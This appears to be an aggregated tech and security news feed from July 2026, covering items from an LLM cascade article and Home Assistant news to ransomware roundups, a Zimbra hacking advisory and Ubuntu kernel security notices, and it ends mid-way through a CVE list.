This vulnerability is tracked as CVE-2026-16730. The attack is restricted to local execution. No exploit exists.


Loop Engineering for RAG Generation: An LLM Cascade from a Cheap Local Model Up to a Hosted Flagship
Fri, 24 Jul 2026 15:34:53 +0200
Enterprise Document Intelligence [Vol.1 #8quater] - Two angles on the cascade, cost and a validation loop, backed by a real sweep of twenty local models against a hosted flagship
The post Loop Engineering for RAG Generation: An LLM Cascade from a Cheap Local Model Up to a Hosted Flagship appeared first on Towards Data Science.


Home Assistant Device Database public preview
Fri, 24 Jul 2026 15:33:35 +0200
The Open Home
Foundation, which governs the Home Assistant
home-automation project, has announced
the "public preview" of its Device
Database:


Providing a public, open way to browse the anonymous, aggregated
device data we collect was always part of the plan, and this preview
is our first step toward it.

You can already use it to search and filter devices to see
aggregated community insights, starting with a deliberately focused
set of specifics, such as whether a device requires an internet
connection, and which protocols and integrations it works with. We've
kept that initial scope narrow on purpose, giving us a solid
foundation we can build on together with you, our community, as the
database grows.


LWN looked at Home
Assistant in May 2025.




New Macs are coming soon, here’s everything we know
Fri, 24 Jul 2026 15:33:04 +0200
Apple has a lineup of multiple new Macs launching later this year. This includes the first-ever touchscreen MacBook, the first M6 machines, and more. Here’s everything we know so far about new Macs launching soon.


The Cyber Express Weekly Roundup: Ransomware Surge, Data Breaches, and Rising Digital Threats
Fri, 24 Jul 2026 15:30:41 +0200
This week’s cybersecurity landscape highlights the continued expansion of cyber risks across governments, businesses, and consumers. From ransomware campaigns targeting organizations worldwide to credential-based attacks, data breaches, online fraud, and digital piracy crackdowns, recent incidents show how threat actors are exploiting both technical vulnerabilities and human behavior. 

The latest developments underline the need for stronger security practices, including improved identity protection, faster incident response, and greater awareness of evolving cyber threats. Organizations are increasingly dealing with attacks that go beyond data theft, affecting operations, customer trust, and critical services. 
The Cyber Express Weekly Roundup 
U.S. Accounts for Nearly Half of Global Ransomware Attacks in H1 2026 
The United States experienced 1,721 ransomware attacks during the first half of 2026, representing nearly 45% of all incidents tracked globally, according to research from Cyble Research and Intelligence Labs (CRIL). The report identified ransomware groups Qilin and Akira as among the most active threat actors during the period. Read more... 
Dubai Police Warns Against Online Visa Fraud Schemes 
Dubai Police has issued a warning about fraudulent online advertisements offering work, residency, and visit visas in exchange for payment. Scammers have reportedly used social media platforms and messaging applications to impersonate government entities or unauthorized service providers to trick victims. Read more... 
Craneware Data Breach Exposes Employee and Customer Information 
Healthcare technology company Craneware confirmed that unauthorized individuals accessed part of its data environment, resulting in the exposure of employee information as well as some customer and partner records. The company stated that the incident has been contained and has not disrupted business operations or customer services. Read more...  
U.S. Targets Illegal FIFA World Cup Streaming Networks 
The U.S. Department of Justice seized more than 1,000 domains allegedly involved in illegally streaming FIFA World Cup 2026 matches. The action was carried out under Operation Offsides, an initiative focused on combating online piracy and protecting intellectual property rights. Read more... 
Chick-fil-A Customer Accounts Targeted in Credential Attack 
Chick-fil-A confirmed that certain customer accounts were accessed during an automated credential-stuffing attack between June 17 and June 19, 2026. The attackers used account credentials obtained from an external source to gain unauthorized access. The company said affected information may have included customer names, email addresses, membership details, and limited payment-related data. Read more... 
South Korea Diplomatic System Breach Lasted Nearly 10 Months 
South Korea’s Ministry of Foreign Affairs revealed that attackers maintained access to the National Diplomatic Academy’s online education system for almost 10 months. The breach, which began in April 2025, exposed information linked to thousands of current and former ministry employees. Compromised data included user IDs, names, email addresses, and encrypted passwords. Read more... 
Weekly Cybersecurity Takeaway 
The week’s incidents demonstrate how cyber threats continue to evolve across multiple areas, from ransomware and account compromise to online scams and government-related breaches. Attackers are increasingly targeting weaknesses in identity management, user behavior, and digital infrastructure. 

Organizations and individuals must focus on proactive security measures, including stronger authentication controls, regular monitoring, timely updates, and greater awareness of social engineering tactics. As cyber threats become more widespread and interconnected, improving resilience remains essential for protecting data, services, and public trust. 


Varta in der Krise: Zerschlagung droht – aber Rettung möglich
Fri, 24 Jul 2026 15:21:11 +0200





Ein weiterer Rückschlag für den deutschen Batteriehersteller Varta: Wie die FAZ berichtet, habe der Konzern die Ziele der Investoren nicht erreicht und soll nun zerschlagen werden.



Vier Hauptgläubiger, darunter die Deutsche Bank und drei britische Investmentfonds, machen von ihren Rechten Gebrauch und beschließen, den weiterhin lukrativen Geschäftsbereich Haushaltsbatterien auszugliedern. Ursache für den Rückzug der Gläubiger sei ein „operativer Liquiditätsbedarf im mittleren zweistelligen Millionenbereich“, den die Anteilseigner nicht mehr bereit waren, zusätzlich zu investieren, erklären sie.



Varta war 2022 in die finanzielle Schieflage geraten, nachdem Apple, der größte Kunde, das Unternehmen als einzigen Hersteller von Airpods-Akkus um einen zweiten Zulieferer aus China ergänzt hatte. 2025 hörte Apple dann endgültig auf, Akkus von Varta zu beziehen. Dadurch brachen finanzielle Mittel weg, mit denen der Konzern, der dem österreichischen Unternehmer Michael Tojner und Porsche gehört, die Sanierung bewältigen wollte.



Noch ist die Zerschlagung von Varta jedoch nicht besiegelt: Der Schweizer Investor Allswiss hatte im Juni angeboten, die Schulden zu übernehmen „und den Hersteller zu stabilisieren“, wie die FAZ fortführt. Vom Verkauf der Haushaltssparte ist er wenig begeistert und wirft der Deutschen Bank und den britischen Investoren vor, Varta „nicht verkaufen, sondern verwerten“ zu wollen, „auf Kosten des Unternehmens, seiner Beschäftigten und der übrigen Gläubiger“.



Allswiss habe der Gläubigergruppe eine Frist bis Freitag (heute) gesetzt, die Zerschlagung unzustellen und Bedingungen für eine Übernahme durch Allswiss mitzuteilen. Auch die Länder Baden-Württemberg und Saarland haben sich inzwischen als Ziel gesetzt, Varta als Ganzes zu erhalten.



Den Haupteigentümer Tojner wundert der Plan der Gläubiger indes nicht, erklärt er der Augsburger Allgemeinen. Den Rest des Unternehmens, der nach dem Verkauf der Sparte für Haushaltsbatterien übrig bliebe, will er sanieren und „in Nischenbereichen“ positionieren.




Ransomware-Risiko durch unsichere VPN-Zugänge steigt 2025 - Security-Insider
Fri, 24 Jul 2026 15:11:12 +0200
InfoGuard Threat Intelligence Insights 2025 Bei 68 Prozent der unsicheren VPN-Zugänge dringt Ransomware ein ... Cybercrime-as-a-Service ist 2025 zum ...


Controlware Cloud Roadshow 2026 – Praxistipps, echte Use Cases und viel Diskussion
Fri, 24 Jul 2026 14:58:58 +0200
... IT-Diensleister zufrieden sein. Die größten Systemhäuser in Deutschland (Juli 2025) Controlware IT-Security Roadshow (Februar Jan Ole Lorenz, Team ...


Ransomware-Risiko durch unsichere VPN-Zugänge steigt 2025 - Security-Insider
Fri, 24 Jul 2026 14:58:52 +0200
Der InfoGuard Threat Intelligence Insights 2025 zeigt, wo Verteidiger jetzt nachziehen müssen. Cyberkriminelle professionalisieren sich zunehmend, ...


Künstliche Intelligenz: Microsoft AI führt zwei neue KI-Modelle ein
Fri, 24 Jul 2026 14:52:39 +0200

Microsoft baut die Verwendung der hauseigenen MAI-Modelle weiter aus. Wie die Kollegen von Thurrott berichten, wird das Sprachmodell MAI-Voice-2-Flash nun flächendeckend in Azure Voice Live sowie Dynamics 365 Contact Center verwendet. Wichtiger ist allerdings das neue Bildmodell MAI-Image-2.5-Pro, welches in Produkte von Microsoft 365 einzieht und in einem Fall die Abhängigkeit von OpenAI beendet. Demnach […]
Der Beitrag Künstliche Intelligenz: Microsoft AI führt zwei neue KI-Modelle ein erschien zuerst auf Dr. Windows.


Russian hackers exploit unpatched Zimbra servers to steal emails
Fri, 24 Jul 2026 14:39:47 +0200
Russian state-backed hacker group Laundry Bear has been breaking into government and commercial networks for at least a year by exploiting a vulnerability in the Zimbra Collaboration Suite (ZCS) webmail platform. Laundry Bear (also known as Void Blizzard, CL-STA-1114, and TA488) has been running the campaign since July 2025, according to a joint advisory from the NSA, FBI, CISA, and cybersecurity agencies from the Netherlands, UK, Australia, Canada, and a dozen other countries. “Laundry Bear’s … More →
The post Russian hackers exploit unpatched Zimbra servers to steal emails appeared first on Help Net Security.


USN-8604-1: Linux kernel (Azure) vulnerabilities
Fri, 24 Jul 2026 14:17:46 +0200
Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Drivers core;
  - Null block device driver;
  - Bluetooth drivers;
  - Counter interface drivers;
  - DMA engine subsystem;
  - DPLL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - On-Chip Interconnect management framework;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - Modular ISDN driver;
  - LED subsystem;
  - Multiple devices driver;
  - UACCE accelerator framework;
  - MMC subsystem;
  - Ethernet bonding driver;
  - Network drivers;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PHY drivers;
  - x86 platform drivers;
  - i.MX PM domains;
  - SCSI subsystem;
  - SLIMbus drivers;
  - SPI subsystem;
  - TTY drivers;
  - USB Host Controller drivers;
  - USB over IP driver;
  - W1 Dallas's 1-wire bus driver;
  - Xen hypervisor drivers;
  - BTRFS file system;
  - File systems infrastructure;
  - EFI Variable file system;
  - Ext4 file system;
  - FUSE (File system in Userspace);
  - Network file systems library;
  - Network file system (NFS) client;
  - Network file system (NFS) server daemon;
  - SMB network file system;
  - Memory Management;
  - Kernel thread helper (kthread);
  - Memory management;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - IPv6 networking;
  - Netfilter;
  - NFC subsystem;
  - io_uring subsystem;
  - Perf events;
  - Kernel exit() syscall;
  - Hibernation control;
  - Timer subsystem;
  - BPF subsystem;
  - Floating proportions library;
  - Scatterlist API;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NET/ROM layer;
  - RxRPC session sockets;
  - Network traffic control;
  - SCTP protocol;
  - SMC sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - ALSA AC97 driver;
  - Creative Sound Blaster X-Fi driver;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - USB sound devices;
(CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162,
CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183,
CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187,
CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191,
CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195,
CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199,
CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977,
CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981,
CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986,
CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991,
CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996,
CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000,
CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004,
CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008,
CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012,
CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017,
CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021,
CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025,
CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032,
CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036,
CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044,
CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049,
CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053,
CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057,
CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062,
CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066,
CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070,
CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075,
CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23079,
CVE-2026-23080, CVE-2026-23081, CVE-2026-23083, CVE-2026-23084,
CVE-2026-23085, CVE-2026-23086, CVE-2026-23087, CVE-2026-23088,
CVE-2026-23089, CVE-2026-23090, CVE-2026-23092, CVE-2026-23093,
CVE-2026-23094, CVE-2026-23095, CVE-2026-23096, CVE-2026-23097,
CVE-2026-23098, CVE-2026-23099, CVE-2026-23100, CVE-2026-23101,
CVE-2026-23102, CVE-2026-23103, CVE-2026-23104, CVE-2026-23105,
CVE-2026-23106, CVE-2026-23107, CVE-2026-23108, CVE-2026-23109,
CVE-2026-23110, CVE-2026-23113, CVE-2026-23114, CVE-2026-23115,
CVE-2026-23116, CVE-2026-23118, CVE-2026-23119, CVE-2026-23120,
CVE-2026-23121, CVE-2026-23122, CVE-2026-23123, CVE-2026-23124,
CVE-2026-23125, CVE-2026-23126, CVE-2026-23128, CVE-2026-23129,
CVE-2026-23130, CVE-2026-23131, CVE-2026-23133, CVE-2026-23135,
CVE-2026-23136, CVE-2026-23137, CVE-2026-23138, CVE-2026-23139,
CVE-2026-23140, CVE-2026-23141, CVE-2026-23142, CVE-2026-23143,
CVE-2026-23144, CVE-2026-23145, CVE-2026-23146, CVE-2026-23147,
CVE-2026-23148, CVE-2026-23150, CVE-2026-23151, CVE-2026-23152,
CVE-2026-23154, CVE-2026-23156, CVE-2026-23157, CVE-2026-23158,
CVE-2026-23159, CVE-2026-23160, CVE-2026-23161, CVE-2026-23162,
CVE-2026-23163, CVE-2026-23164, CVE-2026-23165, CVE-2026-23166,
CVE-2026-23167, CVE-2026-23168, CVE-2026-23169, CVE-2026-23170,
CVE-2026-23171, CVE-2026-23172, CVE-2026-23173, CVE-2026-23212,
CVE-2026-23272, CVE-2026-23278, CVE-2026-23392, CVE-2026-23427,
CVE-2026-23428, CVE-2026-23450, CVE-2026-23455, CVE-2026-31402,
CVE-2026-31418, CVE-2026-31436, CVE-2026-31448, CVE-2026-31478,
CVE-2026-31607, CVE-2026-31635, CVE-2026-31637, CVE-2026-31649,
CVE-2026-31657, CVE-2026-31659, CVE-2026-31668, CVE-2026-31669,
CVE-2026-31682, CVE-2026-31685, CVE-2026-31718, CVE-2026-43011,
CVE-2026-43037, CVE-2026-43038, CVE-2026-43071, CVE-2026-43083,
CVE-2026-43114, CVE-2026-43117, CVE-2026-43125, CVE-2026-43185,
CVE-2026-43186, CVE-2026-43197, CVE-2026-43304, CVE-2026-43341,
CVE-2026-43376, CVE-2026-43378, CVE-2026-43383, CVE-2026-43384,
CVE-2026-43402, CVE-2026-43406, CVE-2026-43407, CVE-2026-43414,
CVE-2026-43493, CVE-2026-43501, CVE-2026-45898, CVE-2026-45988,
CVE-2026-46039, CVE-2026-46043, CVE-2026-46084, CVE-2026-46115,
CVE-2026-46119, CVE-2026-46135, CVE-2026-46185, CVE-2026-46195,
CVE-2026-46243, CVE-2026-46244, CVE-2026-46266, CVE-2026-46289,
CVE-2026-46290, CVE-2026-46316, CVE-2026-46317, CVE-2026-46325,
CVE-2026-53277, CVE-2026-64018, CVE-2026-64034)


USN-8605-1: Linux kernel (Azure CVM) vulnerabilities
Fri, 24 Jul 2026 14:17:44 +0200
Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Drivers core;
  - Null block device driver;
  - Bluetooth drivers;
  - Counter interface drivers;
  - DMA engine subsystem;
  - DPLL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - On-Chip Interconnect management framework;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - Modular ISDN driver;
  - LED subsystem;
  - Multiple devices driver;
  - UACCE accelerator framework;
  - MMC subsystem;
  - Ethernet bonding driver;
  - Network drivers;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PHY drivers;
  - x86 platform drivers;
  - i.MX PM domains;
  - SCSI subsystem;
  - SLIMbus drivers;
  - SPI subsystem;
  - TTY drivers;
  - USB Host Controller drivers;
  - USB over IP driver;
  - W1 Dallas's 1-wire bus driver;
  - Xen hypervisor drivers;
  - BTRFS file system;
  - File systems infrastructure;
  - EFI Variable file system;
  - Ext4 file system;
  - FUSE (File system in Userspace);
  - Network file systems library;
  - Network file system (NFS) client;
  - Network file system (NFS) server daemon;
  - SMB network file system;
  - Memory Management;
  - Kernel thread helper (kthread);
  - Memory management;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - IPv6 networking;
  - Netfilter;
  - NFC subsystem;
  - io_uring subsystem;
  - Perf events;
  - Kernel exit() syscall;
  - Hibernation control;
  - Timer subsystem;
  - BPF subsystem;
  - Floating proportions library;
  - Scatterlist API;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NET/ROM layer;
  - RxRPC session sockets;
  - Network traffic control;
  - SCTP protocol;
  - SMC sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - ALSA AC97 driver;
  - Creative Sound Blaster X-Fi driver;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - USB sound devices;
(CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162,
CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183,
CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187,
CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191,
CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195,
CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199,
CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977,
CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981,
CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986,
CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991,
CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996,
CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000,
CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004,
CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008,
CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012,
CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017,
CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021,
CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025,
CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032,
CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036,
CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044,
CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049,
CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053,
CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057,
CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062,
CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066,
CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070,
CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075,
CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23080,
CVE-2026-23081, CVE-2026-23083, CVE-2026-23084, CVE-2026-23085,
CVE-2026-23086, CVE-2026-23087, CVE-2026-23088, CVE-2026-23089,
CVE-2026-23090, CVE-2026-23092, CVE-2026-23093, CVE-2026-23094,
CVE-2026-23095, CVE-2026-23096, CVE-2026-23097, CVE-2026-23098,
CVE-2026-23099, CVE-2026-23100, CVE-2026-23101, CVE-2026-23102,
CVE-2026-23103, CVE-2026-23104, CVE-2026-23105, CVE-2026-23106,
CVE-2026-23107, CVE-2026-23108, CVE-2026-23109, CVE-2026-23110,
CVE-2026-23113, CVE-2026-23114, CVE-2026-23115, CVE-2026-23116,
CVE-2026-23118, CVE-2026-23119, CVE-2026-23120, CVE-2026-23121,
CVE-2026-23122, CVE-2026-23123, CVE-2026-23124, CVE-2026-23125,
CVE-2026-23126, CVE-2026-23128, CVE-2026-23129, CVE-2026-23130,
CVE-2026-23131, CVE-2026-23133, CVE-2026-23135, CVE-2026-23136,
CVE-2026-23137, CVE-2026-23138, CVE-2026-23139, CVE-2026-23140,
CVE-2026-23141, CVE-2026-23142, CVE-2026-23143, CVE-2026-23144,
CVE-2026-23145, CVE-2026-23146, CVE-2026-23147, CVE-2026-23148,
CVE-2026-23150, CVE-2026-23151, CVE-2026-23152, CVE-2026-23154,
CVE-2026-23156, CVE-2026-23157, CVE-2026-23158, CVE-2026-23159,
CVE-2026-23160, CVE-2026-23161, CVE-2026-23162, CVE-2026-23163,
CVE-2026-23164, CVE-2026-23165, CVE-2026-23166, CVE-2026-23167,
CVE-2026-23168, CVE-2026-23169, CVE-2026-23170, CVE-2026-23171,
CVE-2026-23172, CVE-2026-23173, CVE-2026-23212, CVE-2026-23272,
CVE-2026-23278, CVE-2026-23392, CVE-2026-23427, CVE-2026-23428,
CVE-2026-23450, CVE-2026-23455, CVE-2026-31402, CVE-2026-31418,
CVE-2026-31436, CVE-2026-31448, CVE-2026-31478, CVE-2026-31607,
CVE-2026-31635, CVE-2026-31637, CVE-2026-31649, CVE-2026-31657,
CVE-2026-31659, CVE-2026-31668, CVE-2026-31669, CVE-2026-31682,
CVE-2026-31685, CVE-2026-31718, CVE-2026-43011, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43071, CVE-2026-43083, CVE-2026-43114,
CVE-2026-43117, CVE-2026-43125, CVE-2026-43185, CVE-2026-43186,
CVE-2026-43197, CVE-2026-43304, CVE-2026-43341, CVE-2026-43376,
CVE-2026-43378, CVE-2026-43383, CVE-2026-43384, CVE-2026-43402,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43414, CVE-2026-43493,
CVE-2026-43501, CVE-2026-45898, CVE-2026-45988, CVE-2026-46039,
CVE-2026-46043, CVE-2026-46084, CVE-2026-46115, CVE-2026-46119,
CVE-2026-46135, CVE-2026-46185, CVE-2026-46195, CVE-2026-46243,
CVE-2026-46244, CVE-2026-46266, CVE-2026-46289, CVE-2026-46290,
CVE-2026-46316, CVE-2026-46317, CVE-2026-46325, CVE-2026-53277,
CVE-2026-64018, CVE-2026-64034)


USN-8595-2: Linux kernel (AWS) vulnerabilities
Fri, 24 Jul 2026 14:17:43 +0200
It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
